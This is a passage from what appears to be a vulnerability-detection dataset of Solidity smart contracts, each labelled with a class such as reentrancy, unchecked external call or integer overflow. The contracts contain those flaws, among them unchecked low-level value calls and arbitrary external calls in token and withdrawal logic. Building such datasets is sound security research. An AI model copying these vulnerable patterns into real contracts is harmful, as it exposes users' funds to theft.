totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts/Withdrawals.sol contract Withdrawals is Claimable { /** * @dev responsible for calling withdraw function */ address public withdrawCreator; /** * @dev if it's token transfer the tokenAddress will be 0x0000... * @param _destination receiver of token or eth * @param _amount amount of ETH or Tokens * @param _tokenAddress actual token address or 0x000.. in case of eth transfer */ event AmountWithdrawEvent( address _destination, uint _amount, address _tokenAddress ); /** * @dev fallback function only to enable ETH transfer */ function() payable public { } /** * @dev setter for the withdraw creator (responsible for calling withdraw function) */ function setWithdrawCreator(address _withdrawCreator) public onlyOwner { withdrawCreator = _withdrawCreator; } /** * @dev withdraw function to send token addresses or eth amounts to a list of receivers * @param _destinations batch list of token or eth receivers * @param _amounts batch list of values of eth or tokens * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address */ function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); // itterate in receivers for (uint i = 0; i < _destinations.length; i++) { address tokenAddress = _tokenAddresses[i]; uint amount = _amounts[i]; address destination = _destinations[i]; // eth transfer if (tokenAddress == address(0)) { if (this.balance < amount) { continue; } if (!destination.call.gas(70000).value(amount)()) { continue; } }else { // erc 20 transfer if (ERC20(tokenAddress).balanceOf(this) < amount) { continue; } ERC20(tokenAddress).transfer(destination, amount); } // emit event in both cases emit AmountWithdrawEvent(destination, amount, tokenAddress); } } modifier onlyOwnerOrWithdrawCreator() { require(msg.sender == withdrawCreator || msg.sender == owner); _; } }",./Dataset/unchecked external call (UC),7,7 32538.sol,"pragma solidity ^0.4.18; contract useContractWeb { ContractWeb internal web = ContractWeb(0x5F9489D7FfC63ce0bDCD282D14E595A865B259d7); } contract Owned { address public owner = msg.sender; function transferOwner(address _newOwner) onlyOwner public returns (bool) { owner = _newOwner; return true; } modifier onlyOwner { require(msg.sender == owner); _; } } contract CheckPayloadSize { modifier onlyPayloadSize(uint256 _size) { require(msg.data.length >= _size + 4); _; } } contract CanTransferTokens is CheckPayloadSize, Owned { function transferCustomToken(address _token, address _to, uint256 _value) onlyPayloadSize(3 * 32) onlyOwner public returns (bool) { Token tkn = Token(_token); return tkn.transfer(_to, _value); } } contract SafeMath { function add(uint256 x, uint256 y) pure internal returns (uint256) { require(x <= x + y); return x + y; } function sub(uint256 x, uint256 y) pure internal returns (uint256) { require(x >= y); return x - y; } } contract CheckIfContract { function isContract(address _addr) view internal returns (bool) { uint256 length; if (_addr == address(0x0)) return false; assembly { length := extcodesize(_addr) } if(length > 0) { return true; } else { return false; } } } contract ContractReceiver { TKN internal fallback; struct TKN { address sender; uint256 value; bytes data; bytes4 sig; } function getFallback() view public returns (TKN) { return fallback; } function tokenFallback(address _from, uint256 _value, bytes _data) public returns (bool) { TKN memory tkn; tkn.sender = _from; tkn.value = _value; tkn.data = _data; uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24); tkn.sig = bytes4(u); fallback = tkn; return true; } } contract Token1st { address public currentTradingSystem; address public currentExchangeSystem; mapping(address => uint) public balanceOf; mapping(address => mapping (address => uint)) public allowance; mapping(address => mapping (address => uint)) public tradingBalanceOf; mapping(address => mapping (address => uint)) public exchangeBalanceOf; /* @notice get balance of a specific address */ function getBalanceOf(address _address) view public returns (uint amount){ return balanceOf[_address]; } event Transfer (address _to, address _from, uint _decimalAmount); /* A contract or user attempts to get the coins */ function transferDecimalAmountFrom(address _from, address _to, uint _value) public returns (bool success) { require(balanceOf[_from] - tradingBalanceOf[_from][currentTradingSystem] - exchangeBalanceOf[_from][currentExchangeSystem] >= _value); // Check if the sender has enough require(balanceOf[_to] + (_value) >= balanceOf[_to]); // Check for overflows require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient allowance[_from][msg.sender] -= _value; Transfer(_to, _from, _value); return true; } /* Allow another contract or user to spend some tokens in your behalf */ function approveSpenderDecimalAmount(address _spender, uint _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } } contract ContractWeb is CanTransferTokens, CheckIfContract { //contract name | contract info mapping(string => contractInfo) internal contracts; event ContractAdded(string _name, address _referredTo); event ContractEdited(string _name, address _referredTo); event ContractMadePermanent(string _name); struct contractInfo { address contractAddress; bool isPermanent; } function getContractAddress(string _name) view public returns (address) { return contracts[_name].contractAddress; } function isContractPermanent(string _name) view public returns (bool) { return contracts[_name].isPermanent; } function setContract(string _name, address _address) onlyPayloadSize(2 * 32) onlyOwner public returns (bool) { require(isContract(_address)); require(this != _address); require(contracts[_name].contractAddress != _address); require(contracts[_name].isPermanent == false); address oldAddress = contracts[_name].contractAddress; contracts[_name].contractAddress = _address; if(oldAddress == address(0x0)) { ContractAdded(_name, _address); } else { ContractEdited(_name, _address); } return true; } function makeContractPermanent(string _name) onlyOwner public returns (bool) { require(contracts[_name].contractAddress != address(0x0)); require(contracts[_name].isPermanent == false); contracts[_name].isPermanent = true; ContractMadePermanent(_name); return true; } function tokenSetup(address _Tokens1st, address _Balancecs, address _Token, address _Conversion, address _Distribution) onlyPayloadSize(5 * 32) onlyOwner public returns (bool) { setContract(""Token1st"", _Tokens1st); setContract(""Balances"", _Balancecs); setContract(""Token"", _Token); setContract(""Conversion"", _Conversion); setContract(""Distribution"", _Distribution); return true; } } contract Balances is CanTransferTokens, SafeMath, useContractWeb { mapping(address => uint256) internal _balances; function get(address _account) view public returns (uint256) { return _balances[_account]; } function tokenContract() view internal returns (address) { return web.getContractAddress(""Token""); } function Balances() public { _balances[msg.sender] = 190 * 1000000 * 1000000000000000000; } modifier onlyToken { require(msg.sender == tokenContract()); _; } function transfer(address _from, address _to, uint256 _value) onlyPayloadSize(3 * 32) onlyToken public returns (bool success) { _balances[_from] = sub(_balances[_from], _value); _balances[_to] = add(_balances[_to], _value); return true; } } contract Token is CanTransferTokens, SafeMath, CheckIfContract, useContractWeb { string public symbol = ""SHC""; string public name = ""ShineCoin""; uint8 public decimals = 18; uint256 public totalSupply = 190 * 1000000 * 1000000000000000000; mapping (address => mapping (address => uint256)) internal _allowance; // ERC20 Events event Approval(address indexed from, address indexed to, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); // ERC223 Event event Transfer(address indexed from, address indexed to, uint256 value, bytes indexed data); function balanceOf(address _account) view public returns (uint256) { return Balances(balancesContract()).get(_account); } function allowance(address _from, address _to) view public returns (uint256 remaining) { return _allowance[_from][_to]; } function balancesContract() view internal returns (address) { return web.getContractAddress(""Balances""); } function Token() public { bytes memory empty; Transfer(this, msg.sender, 190 * 1000000 * 1000000000000000000); Transfer(this, msg.sender, 190 * 1000000 * 1000000000000000000, empty); } function transfer(address _to, uint256 _value, bytes _data, string _custom_fallback) onlyPayloadSize(4 * 32) public returns (bool success) { if(isContract(_to)) { require(Balances(balancesContract()).get(msg.sender) >= _value); Balances(balancesContract()).transfer(msg.sender, _to, _value); ContractReceiver receiver = ContractReceiver(_to); require(receiver.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data)); Transfer(msg.sender, _to, _value); Transfer(msg.sender, _to, _value, _data); return true; } else { return transferToAddress(_to, _value, _data); } } function transfer(address _to, uint256 _value, bytes _data) onlyPayloadSize(3 * 32) public returns (bool success) { if(isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) public returns (bool success) { bytes memory empty; if(isContract(_to)) { return transferToContract(_to, _value, empty); } else { return transferToAddress(_to, _value, empty); } } function transferToAddress(address _to, uint256 _value, bytes _data) internal returns (bool success) { require(Balances(balancesContract()).get(msg.sender) >= _value); Balances(balancesContract()).transfer(msg.sender, _to, _value); Transfer(msg.sender, _to, _value); Transfer(msg.sender, _to, _value, _data); return true; } function transferToContract(address _to, uint256 _value, bytes _data) internal returns (bool success) { require(Balances(balancesContract()).get(msg.sender) >= _value); Balances(balancesContract()).transfer(msg.sender, _to, _value); ContractReceiver receiver = ContractReceiver(_to); receiver.tokenFallback(msg.sender, _value, _data); Transfer(msg.sender, _to, _value); Transfer(msg.sender, _to, _value, _data); return true; } function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3 * 32) public returns (bool) { bytes memory empty; require(_value > 0 && _allowance[_from][msg.sender] >= _value && Balances(balancesContract()).get(_from) >= _value); _allowance[_from][msg.sender] = sub(_allowance[_from][msg.sender], _value); if(msg.sender != _to && isContract(_to)) { Balances(balancesContract()).transfer(_from, _to, _value); ContractReceiver receiver = ContractReceiver(_to); receiver.tokenFallback(_from, _value, empty); } else { Balances(balancesContract()).transfer(_from, _to, _value); } Transfer(_from, _to, _value); Transfer(_from, _to, _value, empty); return true; } function approve(address _spender, uint256 _value) onlyPayloadSize(2 * 32) public returns (bool) { _allowance[msg.sender][_spender] = add(_allowance[msg.sender][_spender], _value); Approval(msg.sender, _spender, _value); return true; } } contract Conversion is CanTransferTokens, useContractWeb { function token1stContract() view internal returns (address) { return web.getContractAddress(""Token1st""); } function tokenContract() view internal returns (address) { return web.getContractAddress(""Token""); } function deposit() onlyOwner public returns (bool) { require(Token(tokenContract()).allowance(owner, this) > 0); return Token(tokenContract()).transferFrom(owner, this, Token(tokenContract()).allowance(owner, this)); } function convert() public returns (bool) { uint256 senderBalance = Token1st(token1stContract()).getBalanceOf(msg.sender); require(Token1st(token1stContract()).allowance(msg.sender, this) >= senderBalance); Token1st(token1stContract()).transferDecimalAmountFrom(msg.sender, owner, senderBalance); return Token(tokenContract()).transfer(msg.sender, senderBalance * 10000000000); } } contract Distribution is CanTransferTokens, SafeMath, useContractWeb { uint256 public liveSince; uint256 public withdrawn; function withdrawnReadable() view public returns (uint256) { return withdrawn / 1000000000000000000; } function secondsLive() view public returns (uint256) { if(liveSince != 0) { return now - liveSince; } } function allowedSince() view public returns (uint256) { return secondsLive() * 380265185769276972; } function allowedSinceReadable() view public returns (uint256) { return secondsLive() * 380265185769276972 / 1000000000000000000; } function stillAllowed() view public returns (uint256) { return allowedSince() - withdrawn; } function stillAllowedReadable() view public returns (uint256) { uint256 _1 = allowedSince() - withdrawn; return _1 / 1000000000000000000; } function tokenContract() view internal returns (address) { return web.getContractAddress(""Token""); } function makeLive() onlyOwner public returns (bool) { require(liveSince == 0); liveSince = now; return true; } function deposit() onlyOwner public returns (bool) { require(Token(tokenContract()).allowance(owner, this) > 0); return Token(tokenContract()).transferFrom(owner, this, Token(tokenContract()).allowance(owner, this)); } function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) onlyOwner public returns (bool) { require(stillAllowed() >= _value && _value > 0 && liveSince != 0); withdrawn = add(withdrawn, _value); return Token(tokenContract()).transfer(_to, _value); } function transferReadable(address _to, uint256 _value) onlyPayloadSize(2 * 32) onlyOwner public returns (bool) { require(stillAllowed() >= _value * 1000000000000000000 && stillAllowed() != 0 && liveSince != 0); withdrawn = add(withdrawn, _value * 1000000000000000000); return Token(tokenContract()).transfer(_to, _value * 1000000000000000000); } }",./Dataset/reentrancy (RE)/,5,5 44468.sol,"/** * $$$$$$\ $$\ $$\ * $$ __$$\ $$ | $$ | * $$ / \__|$$$$$$$\ $$$$$$\ $$ | $$\ $$$$$$\ $$$$$$\ * \$$$$$$\ $$ __$$\ \____$$\ $$ | $$ |$$ __$$\ $$ __$$\ * \____$$\ $$ | $$ | $$$$$$$ |$$$$$$ / $$$$$$$$ |$$ | \__| * $$\ $$ |$$ | $$ |$$ __$$ |$$ _$$< $$ ____|$$ | * \$$$$$$ |$$ | $$ |\$$$$$$$ |$$ | \$$\ \$$$$$$$\ $$ | * \______/ \__| \__| \_______|\__| \__| \_______|\__| * $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ * ____________________________________________________________ */ pragma solidity >=0.4.23 <0.6.0; import ""./interfaces/ERC20Interface.sol""; import ""./Mocks/SafeMath.sol""; contract RedpacketVault { using SafeMath for uint256; ERC20Interface private erc20; address public erc20Address; uint256 public totalAmount = 0; // Total amount of deposit uint256 public totalBalance = 0; // Total balance of deposit after Withdrawal struct Commitment { // Deposit Commitment uint256 status; // If there is no this commitment or balance is zeor, false uint256 amount; // Deposit balance address payable sender; // Who make this deposit uint256 timestamp; // Deposit timestamp string memo; // Memo while send redpacket address[] takenAddresses; // uint256 withdrawTimes; uint256 cliff; } // Mapping of commitments, must be private. The key is hashKey = hash(commitment,recipient) // The contract will hide the recipient and commitment while make deposit. mapping(bytes32 => Commitment) private commitments; address public operator; address public redpacketManagerAddress; event RedPacketDeposit(address indexed sender, bytes32 indexed hashKey, uint256 amount, uint256 timestamp); event RedPacketWithdraw(address indexed sender, address indexed recipient, bytes32 indexed hashKey, uint256 amount, uint256 timestamp); function sendRedpacketDepositEvent(address _sender, bytes32 _hashkey, uint256 _amount, uint256 _timestamp) external onlyRedpacketManager { emit RedPacketDeposit(_sender, _hashkey, _amount, _timestamp); } function sendRedpacketWithdrawEvent(address _sender, address _recipient, bytes32 _hashkey, uint256 _amount, uint256 _timestamp) external onlyRedpacketManager { emit RedPacketWithdraw(_sender, _recipient, _hashkey, _amount, _timestamp); } modifier onlyOperator { require(msg.sender == operator, ""Only operator can call this function.""); _; } modifier onlyRedpacketManager { require(msg.sender == redpacketManagerAddress, ""Only redpacket manager contract can call this function.""); _; } constructor(address _erc20Address) public { operator = msg.sender; erc20Address = _erc20Address; erc20 = ERC20Interface(erc20Address); } function setStatus(bytes32 _hashkey, uint256 _status) external onlyRedpacketManager { commitments[_hashkey].status = _status; } function setAmount(bytes32 _hashkey, uint256 _amount) external onlyRedpacketManager { commitments[_hashkey].amount = _amount; } function setSender(bytes32 _hashkey, address payable _sender) external onlyRedpacketManager { commitments[_hashkey].sender = _sender; } function setTimestamp(bytes32 _hashkey, uint256 _timestamp) external onlyRedpacketManager { commitments[_hashkey].timestamp = _timestamp; } function setMemo(bytes32 _hashkey, string calldata _memo) external onlyRedpacketManager { commitments[_hashkey].memo = _memo; } function setWithdrawTimes(bytes32 _hashkey, uint256 _times) external onlyRedpacketManager { commitments[_hashkey].withdrawTimes = _times; } function setCliff(bytes32 _hashkey, uint256 _cliff) external onlyRedpacketManager { commitments[_hashkey].cliff = _cliff; } function initTakenAddresses(bytes32 _hashkey) external onlyRedpacketManager { commitments[_hashkey].takenAddresses = new address[](0); } function isTaken(bytes32 _hashkey, address _address) external view returns(bool) { bool has = false; for(uint256 i = 0; i < commitments[_hashkey].takenAddresses.length; i++) { if(_address == commitments[_hashkey].takenAddresses[i]) {has = true; break;} } return has; } function addTakenAddress(bytes32 _hashkey, address _address) external onlyRedpacketManager { commitments[_hashkey].takenAddresses.push(_address); } function getStatus(bytes32 _hashkey) external view onlyRedpacketManager returns(uint256) { return commitments[_hashkey].status; } function getAmount(bytes32 _hashkey) external view onlyRedpacketManager returns(uint256) { return commitments[_hashkey].amount; } function getSender(bytes32 _hashkey) external view onlyRedpacketManager returns(address payable) { return commitments[_hashkey].sender; } function getTimestamp(bytes32 _hashkey) external view onlyRedpacketManager returns(uint256) { return commitments[_hashkey].timestamp; } function getMemo(bytes32 _hashkey) external view onlyRedpacketManager returns(string memory) { return commitments[_hashkey].memo; } function getWithdrawTimes(bytes32 _hashkey) external view onlyRedpacketManager returns(uint256) { return commitments[_hashkey].withdrawTimes; } function getCliff(bytes32 _hashkey) external view onlyRedpacketManager returns(uint256) { return commitments[_hashkey].cliff; } function updateOperator(address _operator) external onlyOperator { operator = _operator; } function updateRedpacketManagerAddress(address _redpacketManager, uint256 _allowance) external onlyOperator returns(bool) { redpacketManagerAddress = _redpacketManager; // Approve redpacket manager contract safeApprove(erc20Address, _redpacketManager, _allowance); return true; } function getRedpacketAllowance() external view returns(uint256) { return erc20.allowance(address(this), redpacketManagerAddress); } function addTotalAmount(uint256 _amount) external onlyRedpacketManager { totalAmount = totalAmount.add(_amount); } function addTotalBalance(uint256 _amount) external onlyRedpacketManager { totalBalance = totalBalance.add(_amount); } function subTotalBalance(uint256 _amount) external onlyRedpacketManager { totalBalance = totalBalance.sub(_amount); } function safeApprove(address token, address to, uint value) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED'); } } ",./Dataset/reentrancy (RE)/,5,5 1291.sol,"pragma solidity ^0.4.20; contract MyToken { mapping (address => uint256) public balanceOf; function MyToken( uint256 initialSupply ) public { balanceOf[msg.sender] = initialSupply; } function transfer(address _to, uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); require(balanceOf[_to] + _value >= balanceOf[_to]); balanceOf[msg.sender] -= _value; balanceOf[_to] += _value; return true; } }",./Dataset/integer overflow (OF)/,4,4 336.sol,"pragma solidity ^0.4.24; // File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } // File: contracts/interface/IBasicMultiToken.sol contract IBasicMultiToken is ERC20 { event Bundle(address indexed who, address indexed beneficiary, uint256 value); event Unbundle(address indexed who, address indexed beneficiary, uint256 value); function tokensCount() public view returns(uint256); function tokens(uint256 _index) public view returns(ERC20); function allTokens() public view returns(ERC20[]); function allDecimals() public view returns(uint8[]); function allBalances() public view returns(uint256[]); function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; function bundle(address _beneficiary, uint256 _amount) public; function unbundle(address _beneficiary, uint256 _value) public; function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; } // File: contracts/interface/IMultiToken.sol contract IMultiToken is IBasicMultiToken { event Update(); event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); function allWeights() public view returns(uint256[] _weights); function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); } // File: openzeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } // File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { function safeTransfer(ERC20Basic token, address to, uint256 value) internal { require(token.transfer(to, value)); } function safeTransferFrom( ERC20 token, address from, address to, uint256 value ) internal { require(token.transferFrom(from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { require(token.approve(spender, value)); } } // File: openzeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } // File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol /** * @title Contracts that should be able to recover tokens * @author SylTi * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. * This will prevent any accidental loss of tokens. */ contract CanReclaimToken is Ownable { using SafeERC20 for ERC20Basic; /** * @dev Reclaim all ERC20Basic compatible tokens * @param token ERC20Basic The address of the token contract */ function reclaimToken(ERC20Basic token) external onlyOwner { uint256 balance = token.balanceOf(this); token.safeTransfer(owner, balance); } } // File: contracts/registry/MultiBuyer.sol contract MultiBuyer is CanReclaimToken { using SafeMath for uint256; function buy( IMultiToken _mtkn, uint256 _minimumReturn, ERC20 _throughToken, address[] _exchanges, bytes _datas, uint[] _datasIndexes, // including 0 and LENGTH values uint256[] _values ) public payable { require(_datasIndexes.length == _exchanges.length + 1, ""buy: _datasIndexes should start with 0 and end with LENGTH""); require(_values.length == _exchanges.length, ""buy: _values should have the same length as _exchanges""); for (uint i = 0; i < _exchanges.length; i++) { bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { data[j - _datasIndexes[i]] = _datas[j]; } if (_throughToken != address(0) && i > 0) { _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); } require(_exchanges[i].call.value(_values[i])(data), ""buy: exchange arbitrary call failed""); if (_throughToken != address(0)) { _throughToken.approve(_exchanges[i], 0); } } j = _mtkn.totalSupply(); // optimization totalSupply uint256 bestAmount = uint256(-1); for (i = _mtkn.tokensCount(); i > 0; i--) { ERC20 token = _mtkn.tokens(i - 1); token.approve(_mtkn, token.balanceOf(this)); uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); if (amount < bestAmount) { bestAmount = amount; } } require(bestAmount >= _minimumReturn, ""buy: return value is too low""); _mtkn.bundle(msg.sender, bestAmount); if (address(this).balance > 0) { msg.sender.transfer(address(this).balance); } } }",./Dataset/reentrancy (RE)/,5,5 501.sol,"pragma solidity ^0.4.24; /*-------------------------------------------------------------- ____ _ ____ _ | _ \| | __ _ _ _ ___ _ __ | __ ) ___ ___ | | __ | |_) | |/ _` | | | |/ _ \ '__| | _ \ / _ \ / _ \| |/ / | __/| | (_| | |_| | __/ | | |_) | (_) | (_) | < |_| |_|\__,_|\__, |\___|_| |____/ \___/ \___/|_|\_\ |___/ 2018-08-08 --------------------------------------------------------------*/ interface PlayerBookReceiverInterface { function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external; function receivePlayerNameList(uint256 _pID, bytes32 _name) external; } contract PlayerBook { using NameFilter for string; using SafeMath for uint256; address private admin = msg.sender; //============================================================================== // _| _ _|_ _ _ _ _|_ _ . // (_|(_| | (_| _\(/_ | |_||_) . //=============================|================================================ uint256 public registrationFee_ = 10 finney; // price to register a name mapping(uint256 => PlayerBookReceiverInterface) public games_; // mapping of our game interfaces for sending your account info to games mapping(address => bytes32) public gameNames_; // lookup a games name mapping(address => uint256) public gameIDs_; // lokup a games ID uint256 public gID_; // total number of games uint256 public pID_; // total number of players mapping (address => uint256) public pIDxAddr_; // (addr => pID) returns player id by address mapping (bytes32 => uint256) public pIDxName_; // (name => pID) returns player id by name mapping (uint256 => Player) public plyr_; // (pID => data) player data mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; // (pID => name => bool) list of names a player owns. (used so you can change your display name amoungst any name you own) mapping (uint256 => mapping (uint256 => bytes32)) public plyrNameList_; // (pID => nameNum => name) list of names a player owns struct Player { address addr; bytes32 name; uint256 laff; uint256 names; } //============================================================================== // _ _ _ __|_ _ __|_ _ _ . // (_(_)| |_\ | | |_|(_ | (_)| . (initial data setup upon contract deploy) //============================================================================== constructor() public { // premine the dev names (sorry not sorry) // No keys are purchased with this method, it's simply locking our addresses, // PID's and names for referral codes. plyr_[1].addr = 0x512D75B898fcB04f7E2496Fa746D94B10836282e; plyr_[1].name = ""Justo""; plyr_[1].names = 1; pIDxAddr_[0x512D75B898fcB04f7E2496Fa746D94B10836282e] = 1; pIDxName_[""Justo""] = 1; plyrNames_[1][""Justo""] = true; plyrNameList_[1][1] = ""Justo""; pID_ = 4; } //============================================================================== // _ _ _ _|. |`. _ _ _ . // | | |(_)(_||~|~|(/_| _\ . (these are safety checks) //============================================================================== /** * @dev prevents contracts from interacting with fomo3d */ modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, ""sorry humans only""); _; } modifier onlyDevs() { require(admin == msg.sender, ""msg sender is not a dev""); _; } modifier isRegisteredGame() { require(gameIDs_[msg.sender] != 0); _; } //============================================================================== // _ _ _ _|_ _ . // (/_\/(/_| | | _\ . //============================================================================== // fired whenever a player registers a name event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); //============================================================================== // _ _ _|__|_ _ _ _ . // (_|(/_ | | (/_| _\ . (for UI & viewing things on etherscan) //=====_|======================================================================= function checkIfNameValid(string _nameStr) public view returns(bool) { bytes32 _name = _nameStr.nameFilter(); if (pIDxName_[_name] == 0) return (true); else return (false); } //============================================================================== // _ |_ |. _ |` _ __|_. _ _ _ . // |_)|_||_)||(_ ~|~|_|| |(_ | |(_)| |_\ . (use these to interact with contract) //====|========================================================================= /** * @dev registers a name. UI will always display the last name you registered. * but you will still own all previously registered names to use as affiliate * links. * - must pay a registration fee. * - name must be unique * - names will be converted to lowercase * - name cannot start or end with a space * - cannot have more than 1 space in a row * - cannot be only numbers * - cannot start with 0x * - name must be at least 1 char * - max length of 32 characters long * - allowed characters: a-z, 0-9, and space * -functionhash- 0x921dec21 (using ID for affiliate) * -functionhash- 0x3ddd4698 (using address for affiliate) * -functionhash- 0x685ffd83 (using name for affiliate) * @param _nameString players desired name * @param _affCode affiliate ID, address, or name of who refered you * @param _all set to true if you want this to push your info to all games * (this might cost a lot of gas) */ function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { // make sure name fees paid require (msg.value >= registrationFee_, ""umm..... you have to pay the name fee""); // filter name + condition checks bytes32 _name = NameFilter.nameFilter(_nameString); // set up address address _addr = msg.sender; // set up our tx event data and determine if player is new or not bool _isNewPlayer = determinePID(_addr); // fetch player id uint256 _pID = pIDxAddr_[_addr]; // manage affiliate residuals // if no affiliate code was given, no new affiliate code was given, or the // player tried to use their own pID as an affiliate code, lolz if (_affCode != 0 && _affCode != plyr_[_pID].laff && _affCode != _pID) { // update last affiliate plyr_[_pID].laff = _affCode; } else if (_affCode == _pID) { _affCode = 0; } // register name registerNameCore(_pID, _addr, _affCode, _name, _isNewPlayer, _all); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { // make sure name fees paid require (msg.value >= registrationFee_, ""umm..... you have to pay the name fee""); // filter name + condition checks bytes32 _name = NameFilter.nameFilter(_nameString); // set up address address _addr = msg.sender; // set up our tx event data and determine if player is new or not bool _isNewPlayer = determinePID(_addr); // fetch player id uint256 _pID = pIDxAddr_[_addr]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz uint256 _affID; if (_affCode != address(0) && _affCode != _addr) { // get affiliate ID from aff Code _affID = pIDxAddr_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // register name registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { // make sure name fees paid require (msg.value >= registrationFee_, ""umm..... you have to pay the name fee""); // filter name + condition checks bytes32 _name = NameFilter.nameFilter(_nameString); // set 